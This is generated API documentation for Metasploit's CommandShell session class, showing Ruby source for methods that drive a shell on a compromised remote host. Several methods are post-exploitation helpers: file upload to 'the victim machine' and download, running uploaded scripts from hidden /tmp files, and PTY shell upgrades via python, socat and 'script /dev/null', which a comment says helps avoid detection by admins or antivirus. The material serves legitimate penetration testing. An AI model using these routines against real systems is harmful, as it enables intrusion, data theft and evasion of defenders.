Class: Msf::Sessions::CommandShell

Inherits:
Object
  • Object
show all
Includes:
Msf::Session::Basic, Msf::Session::Provider::SingleCommandShell, Scriptable, Rex::Ui::Text::Resource
Defined in:
lib/msf/base/sessions/command_shell.rb

Overview

This class provides basic interaction with a command shell on the remote endpoint. This session is initialized with a stream that will be used as the pipe for reading and writing the command shell.

Constant Summary collapse

@@irb_opts =
Rex::Parser::Arguments.new(
  '-h' => [false, 'Help menu.'             ],
  '-e' => [true,  'Expression to evaluate.']
)

Instance Attribute Summary collapse

Attributes included from Msf::Session::Interactive

#rstream

Attributes included from Rex::Ui::Interactive

#completed, #interacting, #next_session, #on_command_proc, #on_print_proc, #orig_suspend, #orig_usr1

Attributes included from Rex::Ui::Subscriber::Input

#user_input

Attributes included from Rex::Ui::Subscriber::Output

#user_output

Attributes included from Msf::Session

#alive, #db_record, #exploit, #exploit_datastore, #exploit_task, #exploit_uuid, #framework, #info, #machine_id, #payload_uuid, #routes, #sid, #sname, #target_host, #target_port, #username, #uuid, #via, #workspace

Attributes included from Framework::Offspring

#framework

Class Method Summary collapse

Instance Method Summary collapse

Methods included from Rex::Ui::Text::Resource

#load_resource

Methods included from Scriptable

#execute_script, included, #legacy_script_to_post_module

Methods included from Msf::Session::Provider::SingleCommandShell

#set_shell_token_index, #shell_command_token, #shell_command_token_unix, #shell_command_token_win32, #shell_read_until_token

Methods included from Msf::Session::Interactive

#_interact_complete, #_interrupt, #_suspend, #_usr1, #interactive?, #kill, #run_cmd, #tunnel_local, #tunnel_peer, #user_want_abort?

Methods included from Rex::Ui::Interactive

#_interact_complete, #_interrupt, #_local_fd, #_remote_fd, #_stream_read_local_write_remote, #_stream_read_remote_write_local, #_suspend, #detach, #handle_suspend, #handle_usr1, #interact, #interact_stream, #prompt, #prompt_yesno, #restore_suspend, #restore_usr1

Methods included from Rex::Ui::Subscriber

#copy_ui, #init_ui, #reset_ui

Methods included from Rex::Ui::Subscriber::Input

#gets

Methods included from Rex::Ui::Subscriber::Output

#flush, #print, #print_blank_line, #print_error, #print_good, #print_line, #print_status, #print_warning

Methods included from Msf::Session

#alive?, #dead?, #inspect, #interactive?, #kill, #log_file_name, #log_source, #name, #name=, #register?, #session_host, #session_host=, #session_port, #session_port=, #session_type, #set_from_exploit, #set_via, #tunnel_local, #tunnel_peer, #tunnel_to_s, #via_exploit, #via_payload

Constructor Details

#initialize(conn, opts = {}) ⇒ CommandShell

Returns a new instance of CommandShell.


56
57
58
59
60
61
62
63
64
65
66
# File 'lib/msf/base/sessions/command_shell.rb', line 56

def initialize(conn, opts = {})
  self.platform ||= ""
  self.arch     ||= ""
  self.max_threads = 1
  @cleanup = false
  datastore = opts[:datastore]
  if datastore && !datastore["CommandShellCleanupCommand"].blank?
    @cleanup_command = datastore["CommandShellCleanupCommand"]
  end
  super
end

Instance Attribute Details

#archObject

Returns the value of attribute arch


743
744
745
# File 'lib/msf/base/sessions/command_shell.rb', line 743

def arch
  @arch
end

#max_threadsObject

Returns the value of attribute max_threads


745
746
747
# File 'lib/msf/base/sessions/command_shell.rb', line 745

def max_threads
  @max_threads
end

#platformObject

Returns the value of attribute platform


744
745
746
# File 'lib/msf/base/sessions/command_shell.rb', line 744

def platform
  @platform
end

Class Method Details

.typeObject

Returns the type of session.


52
53
54
# File 'lib/msf/base/sessions/command_shell.rb', line 52

def self.type
  "shell"
end

Instance Method Details

#_interactObject (protected)

:category: Msf::Session::Interactive implementors

Override the basic session interaction to use shell_read and shell_write instead of operating on rstream directly.


754
755
756
757
# File 'lib/msf/base/sessions/command_shell.rb', line 754

def _interact
  framework.events.on_session_interact(self)
  _interact_stream
end

#_interact_streamObject (protected)

:category: Msf::Session::Interactive implementors


762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
# File 'lib/msf/base/sessions/command_shell.rb', line 762

def _interact_stream
  fds = [rstream.fd, user_input.fd]
  while self.interacting
    sd = Rex::ThreadSafe.select(fds, nil, fds, 0.5)
    next unless sd

    if sd[0].include? rstream.fd
      user_output.print(shell_read)
    end
    if sd[0].include? user_input.fd
      run_single((user_input.gets || '').chomp("\n"))
    end
    Thread.pass
  end
end

#binary_exists(binary) ⇒ Object

Returns path of a binary in PATH env.


332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
# File 'lib/msf/base/sessions/command_shell.rb', line 332

def binary_exists(binary)
  print_status("Trying to find binary(#{binary}) on target machine")
  if shell_command_token('command -v command').to_s.strip == 'command'
    binary_path = shell_command_token("command -v '#{binary}' && echo true").to_s.strip
  else
    binary_path = shell_command_token("which '#{binary}' && echo true").to_s.strip
  end
  unless binary_path.include?("true")
    print_error("#{binary} not found")
    return nil
  end
  binary_path = binary_path.split("\n")[0].strip  #removes 'true' from stdout
  print_status("Found #{binary} at #{binary_path}")
  return binary_path
end

#bootstrap(datastore = {}, handler = nil) ⇒ Object


91
92
93
94
95
96
97
98
99
100
101
102
103
104
# File 'lib/msf/base/sessions/command_shell.rb', line 91

def bootstrap(datastore = {}, handler = nil)
  session = self

  if datastore['AutoVerifySession']
    token = Rex::Text.rand_text_alphanumeric(8..24)
    response = shell_command("echo #{token}", 3)
    unless response&.include?(token)
      dlog("Session #{session.sid} failed to respond to an echo command")
      print_error("Command shell session #{session.sid} is not valid and will be closed")
      session.kill
      return nil
    end
  end
end

#cleanupObject

:category: Msf::Session implementors

Closes the shell.


692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
# File 'lib/msf/base/sessions/command_shell.rb', line 692

def cleanup
  return if @cleanup

  @cleanup = true
  if rstream
    if !@cleanup_command.blank?
      # this is a best effort, since the session is possibly already dead
      shell_command_token(@cleanup_command) rescue nil

      # we should only ever cleanup once
      @cleanup_command = nil
    end

    # this is also a best-effort
    rstream.close rescue nil
    rstream = nil
  end
  super
end

#cmd_background(*args) ⇒ Object


176
177
178
179
180
181
182
183
184
185
186
187
# File 'lib/msf/base/sessions/command_shell.rb', line 176

def cmd_background(*args)
  if !args.empty?
    # We assume that background does not need arguments
    # If user input does not follow this specification
    # Then show help (Including '-h' '--help'...)
    return cmd_background_help
  end

  if prompt_yesno("Background session #{name}?")
    self.interacting = false
  end
end

#cmd_background_helpObject


169
170
171
172
173
174
# File 'lib/msf/base/sessions/command_shell.rb', line 169

def cmd_background_help
  print_line "Usage: background"
  print_line
  print_line "Stop interacting with this session and return to the parent prompt"
  print_line
end

#cmd_download(*args) ⇒ Object


377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
# File 'lib/msf/base/sessions/command_shell.rb', line 377

def cmd_download(*args)
  if args.length != 2
    # no argumnets, just print help message
    return cmd_download_help
  end

  src = args[0]
  dst = args[1]

  # Check if src exists
  if !file_exists(src)
    print_error("The target file does not exist")
    return
  end

  # Get file content
  print_status("Download #{src} => #{dst}")
  content = shell_command("cat #{src}")

  # Write file to local machine
  file = File.open(dst, "wb")
  file.write(content)
  file.close
  print_good("Done")
end

#cmd_download_helpObject


369
370
371
372
373
374
375
# File 'lib/msf/base/sessions/command_shell.rb', line 369

def cmd_download_help
  print_line("Usage: download [src] [dst]")
  print_line
  print_line("Downloads remote files to the local machine.")
  print_line("This command does not support to download a FOLDER yet")
  print_line
end

#cmd_help(*args) ⇒ Object


136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
# File 'lib/msf/base/sessions/command_shell.rb', line 136

def cmd_help(*args)
  cmd = args.shift

  if cmd
    unless commands.key?(cmd)
      return print_error('No such command')
    end

    unless respond_to?("cmd_#{cmd}_help")
      return print_error("No help for #{cmd}, try -h")
    end

    return send("cmd_#{cmd}_help")
  end

  columns = ['Command', 'Description']

  tbl = Rex::Text::Table.new(
    'Header'  => 'Meta shell commands',
    'Prefix'  => "\n",
    'Postfix' => "\n",
    'Indent'  => 4,
    'Columns' => columns,
    'SortIndex' => -1
  )

  commands.each do |key, value|
    tbl << [key, value]
  end

  print(tbl.to_s)
end

#cmd_help_helpObject


132
133
134
# File 'lib/msf/base/sessions/command_shell.rb', line 132

def cmd_help_help
  print_line "There's only so much I can do"
end

#cmd_irb(*args) ⇒ Object

Open an interactive Ruby shell on the current session


532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
# File 'lib/msf/base/sessions/command_shell.rb', line 532

def cmd_irb(*args)
  expressions = []

  # Parse the command options
  @@irb_opts.parse(args) do |opt, idx, val|
    case opt
    when '-e'
      expressions << val
    when '-h'
      return cmd_irb_help
    end
  end

  session = self
  framework = self.framework

  if expressions.empty?
    print_status('Starting IRB shell...')
    print_status("You are in the \"self\" (session) object\n")

    Rex::Ui::Text::IrbShell.new(self).run
  else
    # XXX: No vprint_status here
    if framework.datastore['VERBOSE'].to_s == 'true'
      print_status("You are executing expressions in #{binding.receiver}")
    end

    expressions.each { |expression| eval(expression, binding) }
  end
end

#cmd_irb_helpObject


522
523
524
525
526
527
# File 'lib/msf/base/sessions/command_shell.rb', line 522

def cmd_irb_help
  print_line('Usage: irb')
  print_line
  print_line('Open an interactive Ruby shell on the current session.')
  print @@irb_opts.usage
end

#cmd_pry(*args) ⇒ Object

Open the Pry debugger on the current session


573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
# File 'lib/msf/base/sessions/command_shell.rb', line 573

def cmd_pry(*args)
  if args.include?('-h')
    cmd_pry_help
    return
  end

  begin
    require 'pry'
  rescue LoadError
    print_error('Failed to load Pry, try "gem install pry"')
    return
  end

  print_status('Starting Pry shell...')
  print_status("You are in the \"self\" (session) object\n")

  self.pry
end

#cmd_pry_helpObject


563
564
565
566
567
568
# File 'lib/msf/base/sessions/command_shell.rb', line 563

def cmd_pry_help
  print_line 'Usage: pry'
  print_line
  print_line 'Open the Pry debugger on the current session.'
  print_line
end

#cmd_resource(*args) ⇒ Object


226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
# File 'lib/msf/base/sessions/command_shell.rb', line 226

def cmd_resource(*args)
  if args.empty?
    cmd_resource_help
    return false
  end

  args.each do |res|
    good_res = nil
    if res == '-'
      good_res = res
    elsif ::File.exist?(res)
      good_res = res
    elsif
      # let's check to see if it's in the scripts/resource dir (like when tab completed)
    [
        ::Msf::Config.script_directory + ::File::SEPARATOR + 'resource' + ::File::SEPARATOR + 'meterpreter',
        ::Msf::Config.user_script_directory + ::File::SEPARATOR + 'resource' + ::File::SEPARATOR + 'meterpreter'
    ].each do |dir|
      res_path = ::File::join(dir, res)
      if ::File.exist?(res_path)
        good_res = res_path
        break
      end
    end
    end
    if good_res
      print_status("Executing resource script #{good_res}")
      load_resource(good_res)
      print_status("Resource script #{good_res} complete")
    else
      print_error("#{res} is not a valid resource file")
      next
    end
  end
end

#cmd_resource_helpObject


262
263
264
265
266
267
268
# File 'lib/msf/base/sessions/command_shell.rb', line 262

def cmd_resource_help
  print_line "Usage: resource path1 [path2 ...]"
  print_line
  print_line "Run the commands stored in the supplied files. (- for stdin, press CTRL+D to end input from stdin)"
  print_line "Resource files may also contain ERB or Ruby code between <ruby></ruby> tags."
  print_line
end

#cmd_sessions(*args) ⇒ Object


198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
# File 'lib/msf/base/sessions/command_shell.rb', line 198

def cmd_sessions(*args)
  if args.length.zero? || args[0].to_i <= 0
    # No args
    return cmd_sessions_help
  end

  if args.length == 1 && (args[1] == '-h' || args[1] == 'help')
    # One arg, and args[1] => '-h' '-H' 'help'
    return cmd_sessions_help
  end

  if args.length != 1
    # More than one argument
    return cmd_sessions_help
  end

  if args[0].to_s == self.name.to_s
    # Src == Dst
    print_status("Session #{self.name} is already interactive.")
  else
    print_status("Backgrounding session #{self.name}...")
    # store the next session id so that it can be referenced as soon
    # as this session is no longer interacting
    self.next_session = args[0]
    self.interacting = false
  end
end

#cmd_sessions_helpObject


189
190
191
192
193
194
195
196
# File 'lib/msf/base/sessions/command_shell.rb', line 189

def cmd_sessions_help
  print_line('Usage: sessions <id>')
  print_line
  print_line('Interact with a different session Id.')
  print_line('This command only accepts one positive numeric argument.')
  print_line('This works the same as calling this from the MSF shell: sessions -i <session id>')
  print_line
end

#cmd_shell(*args) ⇒ Object


283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
# File 'lib/msf/base/sessions/command_shell.rb', line 283

def cmd_shell(*args)
  if args.length == 1 && (args[1] == '-h' || args[1] == 'help')
    # One arg, and args[1] => '-h' '-H' 'help'
    return cmd_sessions_help
  end

  # 1. Using python
  python_path = binary_exists("python") || binary_exists("python3")
  if python_path != nil
    print_status("Using `python` to pop up an interactive shell")
    # Ideally use bash for a friendlier shell, but fall back to /bin/sh if it doesn't exist
    shell_path = binary_exists("bash") || '/bin/sh'
    shell_command("#{python_path} -c \"#{ Msf::Payload::Python.create_exec_stub("import pty; pty.spawn('#{shell_path}')") } \"")
    return
  end

  # 2. Using script
  script_path = binary_exists("script")
  if script_path != nil
    print_status("Using `script` to pop up an interactive shell")
    # Payload: script /dev/null
    # Using /dev/null to make sure there is no log file on the target machine
    # Prevent being detected by the admin or antivirus softwares
    shell_command("#{script_path} /dev/null")
    return
  end

  # 3. Using socat
  socat_path = binary_exists("socat")
  if socat_path != nil
    # Payload: socat - exec:'bash -li',pty,stderr,setsid,sigint,sane
    print_status("Using `socat` to pop up an interactive shell")
    shell_command("#{socat_path} - exec:'/bin/sh -li',pty,stderr,setsid,sigint,sane")
    return
  end

  # 4. Using pty program
  # 4.1 Detect arch and destribution
  # 4.2 Real time compiling
  # 4.3 Upload binary
  # 4.4 Change mode of binary
  # 4.5 Execute binary

  print_error("Can not pop up an interactive shell")
end

#cmd_shell_helpObject


270
271
272
273
274
275
276
277
278
279
280
281
# File 'lib/msf/base/sessions/command_shell.rb', line 270

def cmd_shell_help()
  print_line('Usage: shell')
  print_line
  print_line('Pop up an interactive shell via multiple methods.')
  print_line('An interactive shell means that you can use several useful commands like `passwd`, `su [username]`')
  print_line('There are four implementations of it: ')
  print_line('\t1. using python `pty` module (default choice)')
  print_line('\t2. using `socat` command')
  print_line('\t3. using `script` command')
  print_line('\t4. upload a pty program via reverse shell')
  print_line
end

#cmd_source(*args) ⇒ Object


495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
# File 'lib/msf/base/sessions/command_shell.rb', line 495

def cmd_source(*args)
  if args.length != 2
    # no argumnets, just print help message
    return cmd_source_help
  end

  background = args[1].downcase == 'y'

  local_file = args[0]
  remote_file = "/tmp/." + ::Rex::Text.rand_text_alpha(32) + ".sh"

  cmd_upload(local_file, remote_file)

  # Change file permission in case of TOCTOU
  shell_command("chmod 0600 #{remote_file}")

  if background
    print_status("Executing on remote machine background")
    print_line(shell_command("nohup sh -x #{remote_file} &"))
  else
    print_status("Executing on remote machine foreground")
    print_line(shell_command("sh -x #{remote_file}"))
  end
  print_status("Cleaning temp file on remote machine")
  shell_command("rm -rf '#{remote_file}'")
end

#cmd_source_helpObject


485
486
487
488
489
490
491
492
493
# File 'lib/msf/base/sessions/command_shell.rb', line 485

def cmd_source_help
  print_line("Usage: source [file] [background]")
  print_line
  print_line("Execute a local shell script file on remote machine")
  print_line("This meta command will upload the script then execute it on the remote machine")
  print_line
  print_line("background")
  print_line("`y` represent execute the script in background, `n` represent on foreground")
end

#cmd_upload(*args) ⇒ Object


411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
# File 'lib/msf/base/sessions/command_shell.rb', line 411

def cmd_upload(*args)
  if args.length != 2
    # no argumnets, just print help message
    return cmd_upload_help
  end

  src = args[0]
  dst = args[1]

  # Check target file exists on the target machine
  if file_exists(dst)
    print_warning("The file <#{dst}> already exists on the target machine")
    if prompt_yesno("Overwrite the target file <#{dst}>?")
      # Create an empty file on the target machine
      # Notice here does not check the permission of the target file (folder)
      # So if you generate a reverse shell with out redirection the STDERR
      # you will not realise that the current user does not have permission to write to the target file
      # IMPORTANT:
      #   assume(the current have the write access on the target file)
      #   if (the current user can not write on the target file) && (stderr did not redirected)
      #     No error reporting, you must check the file created or not manually
      result = shell_command_token("cat /dev/null > #{dst}")
      if !result.empty?
        print_error("Create new file on the target machine failed. (#{result})")
        return
      end
      print_good("Create new file on the target machine succeed")
    else
      return
    end
  end

  buffer_size = 0x100

  begin
    # Open local file
    src_fd = open src
    # Get local file size
    src_size = File.size(src)
    # Calc how many time to append to the remote file
    times = src_size / buffer_size + (src_size % buffer_size == 0 ? 0 : 1)
    print_status("File <#{src}> size: #{src_size}, need #{times} times writes to upload")
    # Start transfer

    for i in 1..times do
      print_status("Uploading (#{i * buffer_size}/#{src_size})")
      chunk = src_fd.read(buffer_size)
      chunk_repr = repr(chunk)
      result = shell_command_token("echo -ne '#{chunk_repr}' >> #{dst}")
      if !result.empty?
        print_error("Appending content to the target file <#{dst}> failed. (#{result})")
        # Do some cleanup
        # Delete the target file
        shell_command_token("rm -rf '#{dst}'")
        print_status("Target file <#{dst}> deleted")
        return
      end
    end
    print_good("File <#{dst}> upload finished")
  rescue
    print_error("Error occurs while uploading <#{src}> to <#{dst}> ")
    return
  end
end

#cmd_upload_helpObject


403
404
405
406
407
408
409
# File 'lib/msf/base/sessions/command_shell.rb', line 403

def cmd_upload_help
  print_line("Usage: upload [src] [dst]")
  print_line
  print_line("Uploads load file to the victim machine.")
  print_line("This command does not support to upload a FOLDER yet")
  print_line
end

#commandsObject

List of supported commands.


117
118
119
120
121
122
123
124
125
126
127
128
129
130
# File 'lib/msf/base/sessions/command_shell.rb', line 117

def commands
  {
    'help'       => 'Help menu',
    'background' => 'Backgrounds the current shell session',
    'sessions'   => 'Quickly switch to another session',
    'resource'   => 'Run a meta commands script stored in a local file',
    'shell'      => 'Spawn an interactive shell (*NIX Only)',
    'download'   => 'Download files (*NIX Only)',
    'upload'     => 'Upload files (*NIX Only)',
    'source'     => 'Run a shell script on remote machine (*NIX Only)',
    'irb'        => 'Open an interactive Ruby shell on the current session',
    'pry'        => 'Open the Pry debugger on the current session'
  }
end

#descObject

Returns the session description.


71
72
73
# File 'lib/msf/base/sessions/command_shell.rb', line 71

def desc
  "Command shell"
end

#docs_dirObject

Return the subdir of the `documentation/` directory that should be used to find usage documentation


110
111
112
# File 'lib/msf/base/sessions/command_shell.rb', line 110

def docs_dir
  File.join(super, 'shell_session')
end

#execute_file(full_path, args) ⇒ Object

:category: Msf::Session::Scriptable implementors

Runs the shell session script or resource file.


41
42
43
44
45
46
47
# File 'lib/msf/base/sessions/command_shell.rb', line 41

def execute_file(full_path, args)
  if File.extname(full_path) == '.rb'
    Rex::Script::Shell.new(self, full_path).run(args)
  else
    load_resource(full_path)
  end
end

#file_exists(path) ⇒ Object

Check if there is a file on the target machine


351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
# File 'lib/msf/base/sessions/command_shell.rb', line 351

def file_exists(path)
  # Use `ls` command to check file exists
  # If file exists, `ls [path]` will echo the varible `path`
  # Or `ls` command will report an error message
  # But we can not ensure that the implementation of ls command are the same on different destribution
  # So just check the success flag not error message
  # eg:
  # $ ls /etc/passwd
  # /etc/passwd
  # $ ls /etc/nosuchfile
  # ls: cannot access '/etc/nosuchfile': No such file or directory
  result = shell_command_token("ls #{path}").to_s.strip
  if result.eql?(path)
    return true
  end
  return false
end

#process_autoruns(datastore) ⇒ Object

Execute any specified auto-run scripts for this session


715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
# File 'lib/msf/base/sessions/command_shell.rb', line 715

def process_autoruns(datastore)
  # Read the initial output and mash it into a single line
  if (not self.info or self.info.empty?)
    initial_output = shell_read(-1, 0.01)
    if (initial_output)
      initial_output.force_encoding("ASCII-8BIT") if initial_output.respond_to?(:force_encoding)
      initial_output.gsub!(/[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]+/n,"_")
      initial_output.gsub!(/[\r\n\t]+/, ' ')
      initial_output.strip!

      # Set the inital output to .info
      self.info = initial_output
    end
  end

  if datastore['InitialAutoRunScript'] && !datastore['InitialAutoRunScript'].empty?
    args = Shellwords.shellwords( datastore['InitialAutoRunScript'] )
    print_status("Session ID #{sid} (#{tunnel_to_s}) processing InitialAutoRunScript '#{datastore['InitialAutoRunScript']}'")
    execute_script(args.shift, *args)
  end

  if (datastore['AutoRunScript'] && datastore['AutoRunScript'].empty? == false)
    args = Shellwords.shellwords( datastore['AutoRunScript'] )
    print_status("Session ID #{sid} (#{tunnel_to_s}) processing AutoRunScript '#{datastore['AutoRunScript']}'")
    execute_script(args.shift, *args)
  end
end

#repr(data) ⇒ Object


476
477
478
479
480
481
482
483
# File 'lib/msf/base/sessions/command_shell.rb', line 476

def repr(data)
  data_repr = ''
  data.each_char {|c|
    data_repr << "\\x"
    data_repr << c.unpack("H*")[0]
  }
  return data_repr
end

#run_builtin_cmd(method, arguments) ⇒ Object

Run built-in command


614
615
616
617
# File 'lib/msf/base/sessions/command_shell.rb', line 614

def run_builtin_cmd(method, arguments)
  # Dynamic function call
  self.send('cmd_' + method, *arguments)
end

#run_single(cmd) ⇒ Object

Explicitly runs a single line command.


595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
# File 'lib/msf/base/sessions/command_shell.rb', line 595

def run_single(cmd)
  # Do nil check for cmd (CTRL+D will cause nil error)
  return unless cmd

  arguments = Shellwords.shellwords(cmd)
  method    = arguments.shift

  # Built-in command
  if commands.key?(method)
    return run_builtin_cmd(method, arguments)
  end

  # User input is not a built-in command, write to socket directly
  shell_write(cmd + "\n")
end

#shell_closeObject

:category: Msf::Session::Provider::SingleCommandShell implementors

Closes the shell. Note: parent's 'self.kill' method calls cleanup below.


683
684
685
# File 'lib/msf/base/sessions/command_shell.rb', line 683

def shell_close()
  self.kill
end

#shell_command(cmd, timeout = 5) ⇒ Object

:category: Msf::Session::Provider::SingleCommandShell implementors

Explicitly run a single command, return the output.


624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
# File 'lib/msf/base/sessions/command_shell.rb', line 624

def shell_command(cmd, timeout=5)
  # Send the command to the session's stdin.
  shell_write(cmd + "\n")

  etime = ::Time.now.to_f + timeout
  buff = ""

  # Keep reading data until no more data is available or the timeout is
  # reached.
  while (::Time.now.to_f < etime and (self.respond_to?(:ring) or ::IO.select([rstream], nil, nil, timeout)))
    res = shell_read(-1, 0.01)
    buff << res if res
    timeout = etime - ::Time.now.to_f
  end

  buff
end

#shell_initObject

:category: Msf::Session::Provider::SingleCommandShell implementors

The shell will have been initialized by default.


87
88
89
# File 'lib/msf/base/sessions/command_shell.rb', line 87

def shell_init
  return true
end

#shell_read(length = -1,, timeout = 1) ⇒ Object

:category: Msf::Session::Provider::SingleCommandShell implementors

Read from the command shell.


647
648
649
650
651
652
653
654
655
656
657
# File 'lib/msf/base/sessions/command_shell.rb', line 647

def shell_read(length=-1, timeout=1)
  begin
    rv = rstream.get_once(length, timeout)
    framework.events.on_session_output(self, rv) if rv
    return rv
  rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE => e
    #print_error("Socket error: #{e.class}: #{e}")
    shell_close
    raise e
  end
end

#shell_write(buf) ⇒ Object

:category: Msf::Session::Provider::SingleCommandShell implementors

Writes to the command shell.


664
665
666
667
668
669
670
671
672
673
674
675
# File 'lib/msf/base/sessions/command_shell.rb', line 664

def shell_write(buf)
  return unless buf

  begin
    framework.events.on_session_command(self, buf.strip)
    rstream.write(buf)
  rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE => e
    #print_error("Socket error: #{e.class}: #{e}")
    shell_close
    raise e
  end
end

#typeObject

Calls the class method


78
79
80
# File 'lib/msf/base/sessions/command_shell.rb', line 78

def type
  self.class.type
end